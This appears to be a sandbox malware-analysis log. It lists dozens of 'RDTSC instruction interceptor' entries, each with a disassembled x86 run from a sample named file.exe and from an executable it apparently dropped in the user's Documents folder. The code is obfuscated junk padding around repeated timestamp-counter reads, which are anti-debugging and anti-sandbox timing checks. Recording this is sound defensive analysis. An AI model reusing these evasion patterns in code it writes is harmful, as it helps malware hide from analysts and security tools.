Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90993 second address: 4B90A2E instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov ebx, 5E3A58D6h 0x0000000d pushfd 0x0000000e jmp 00007F528074EBE7h 0x00000013 jmp 00007F528074EBE3h 0x00000018 popfd 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, ebx 0x0000001d pushad 0x0000001e mov bh, ah 0x00000020 pushfd 0x00000021 jmp 00007F528074EBE1h 0x00000026 sub esi, 09DFCB96h 0x0000002c jmp 00007F528074EBE1h 0x00000031 popfd 0x00000032 popad 0x00000033 mov ecx, dword ptr [ebp-10h] 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F528074EBE3h 0x0000003f jmp 00007F528074EBE3h 0x00000044 popfd 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A2E second address: 4B90A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A33 second address: 4B90A49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F528074EBE2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A49 second address: 4B90A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F528105F32Dh 0x00000016 add ecx, 5E135FB6h 0x0000001c jmp 00007F528105F331h 0x00000021 popfd 0x00000022 popad 0x00000023 pop ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A87 second address: 4B90A9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90A9D second address: 4B90AEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F528105F331h 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edi 0x0000000f pushad 0x00000010 call 00007F528105F333h 0x00000015 pushad 0x00000016 popad 0x00000017 pop ecx 0x00000018 popad 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F528105F337h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90AEA second address: 4B90561 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a jmp 00007F528074EBDEh 0x0000000f leave 0x00000010 pushad 0x00000011 movzx eax, di 0x00000014 pushad 0x00000015 jmp 00007F528074EBE4h 0x0000001a popad 0x0000001b popad 0x0000001c retn 0008h 0x0000001f cmp dword ptr [ebp-2Ch], 10h 0x00000023 mov eax, dword ptr [ebp-40h] 0x00000026 jnc 00007F528074EBD5h 0x00000028 push eax 0x00000029 lea edx, dword ptr [ebp-00000590h] 0x0000002f push edx 0x00000030 call esi 0x00000032 push 00000008h 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C2C second address: 4B90C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F528105F32Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C3C second address: 4B90C40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C40 second address: 4B90C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C4F second address: 4B90C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F528074EBDFh 0x0000000b add cx, AE1Eh 0x00000010 jmp 00007F528074EBE9h 0x00000015 popfd 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C8C second address: 4B90C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C90 second address: 4B90C94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C94 second address: 4B90C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B90C9A second address: 4B90CC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F528074EBDDh 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A1C0FF second address: A1C114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528105F331h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A1C114 second address: A1C11A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A2579E second address: A257C7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F528105F326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F528105F338h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A257C7 second address: A257E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F528074EBE9h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A25ABB second address: A25AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29926 second address: A2993D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F528074EBD6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jl 00007F528074EBE4h 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A2993D second address: A29941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29941 second address: A2999E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 movzx edx, dx 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F528074EBD8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D3888h] 0x0000002c movsx ecx, ax 0x0000002f call 00007F528074EBD9h 0x00000034 pushad 0x00000035 jmp 00007F528074EBDAh 0x0000003a js 00007F528074EBD8h 0x00000040 pushad 0x00000041 popad 0x00000042 popad 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jg 00007F528074EBD6h 0x0000004e rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A2999E second address: A299BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F339h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A299BB second address: A299DA instructions: 0x00000000 rdtsc 0x00000002 je 00007F528074EBD8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 jmp 00007F528074EBDBh 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A299DA second address: A29A82 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007F528105F326h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jmp 00007F528105F338h 0x00000014 pushad 0x00000015 jo 00007F528105F326h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 jmp 00007F528105F333h 0x00000028 pop eax 0x00000029 xor edi, 04F1F4F2h 0x0000002f push 00000003h 0x00000031 or dword ptr [ebp+122D25EBh], ecx 0x00000037 push 00000000h 0x00000039 jmp 00007F528105F32Dh 0x0000003e push 00000003h 0x00000040 or esi, 02DD58C4h 0x00000046 call 00007F528105F329h 0x0000004b pushad 0x0000004c jmp 00007F528105F32Fh 0x00000051 jg 00007F528105F33Ah 0x00000057 popad 0x00000058 push eax 0x00000059 push edi 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29A82 second address: A29A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29A88 second address: A29AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F528105F337h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29AB2 second address: A29AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29AB7 second address: A29ACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F528105F330h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29BC4 second address: A29C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F528074EBDFh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e jns 00007F528074EBDCh 0x00000014 mov ecx, dword ptr [ebp+122D3B58h] 0x0000001a push 00000000h 0x0000001c pushad 0x0000001d pushad 0x0000001e push esi 0x0000001f pop ecx 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 mov cl, 81h 0x00000025 popad 0x00000026 call 00007F528074EBD9h 0x0000002b jnl 00007F528074EBE4h 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29C06 second address: A29C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F528105F326h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jns 00007F528105F328h 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 je 00007F528105F326h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29C31 second address: A29C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29C36 second address: A29C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29C3C second address: A29C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29C40 second address: A29C44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29C44 second address: A29CEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jmp 00007F528074EBDFh 0x00000010 jl 00007F528074EBDCh 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jmp 00007F528074EBE3h 0x00000020 pop eax 0x00000021 sub dx, B53Dh 0x00000026 push 00000003h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F528074EBD8h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 push ecx 0x00000043 jg 00007F528074EBDCh 0x00000049 pop ecx 0x0000004a mov di, 9123h 0x0000004e push 00000000h 0x00000050 jmp 00007F528074EBE6h 0x00000055 push 00000003h 0x00000057 cld 0x00000058 push 97D4042Ah 0x0000005d push eax 0x0000005e push edx 0x0000005f push esi 0x00000060 ja 00007F528074EBD6h 0x00000066 pop esi 0x00000067 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29EDF second address: A29EE9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F528105F326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A29EE9 second address: A29EF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F528074EBD6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A3B99B second address: A3B99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A4840E second address: A48412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A48412 second address: A48442 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F334h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F528105F334h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A48580 second address: A48599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528074EBE3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A48599 second address: A485A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A48B22 second address: A48B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A48CA8 second address: A48CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A48DF3 second address: A48DF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A48F55 second address: A48F7C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F528105F326h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d jc 00007F528105F342h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F528105F332h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A490D9 second address: A490DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A49946 second address: A49964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528105F337h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A49964 second address: A4997B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F528074EBD6h 0x0000000a jmp 00007F528074EBDDh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A49C08 second address: A49C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528105F330h 0x00000009 pop eax 0x0000000a jl 00007F528105F32Eh 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A49F3D second address: A49F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F528074EBEEh 0x0000000b jmp 00007F528074EBE6h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F528074EBE4h 0x0000001d rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A4D14B second address: A4D151 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A4D151 second address: A4D156 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A4D156 second address: A4D15C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A4D5AF second address: A4D5B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A4D5B3 second address: A4D5B9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A4D5B9 second address: A4D5E6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F528074EBDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F528074EBE9h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A4C74E second address: A4C75A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push ecx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A54247 second address: A5424C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A53694 second address: A53698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A53698 second address: A536B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528074EBE5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A536B1 second address: A536CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F528105F32Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F528105F328h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A536CC second address: A536DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F528074EBD6h 0x0000000a jng 00007F528074EBD6h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A53F29 second address: A53F2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A53F2D second address: A53F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F528074EBD6h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A53F3D second address: A53F41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A5408C second address: A54093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A54093 second address: A54099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A54099 second address: A5409D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A5409D second address: A540B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F528105F32Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A540B8 second address: A540BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A540BC second address: A540E2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jmp 00007F528105F338h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A540E2 second address: A540E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A55CFE second address: A55D13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F32Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A56A9D second address: A56AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A56AA1 second address: A56ABD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F338h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A56DAD second address: A56DC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F528074EBE3h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A56DC4 second address: A56DD6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a je 00007F528105F32Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A56DD6 second address: A56DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
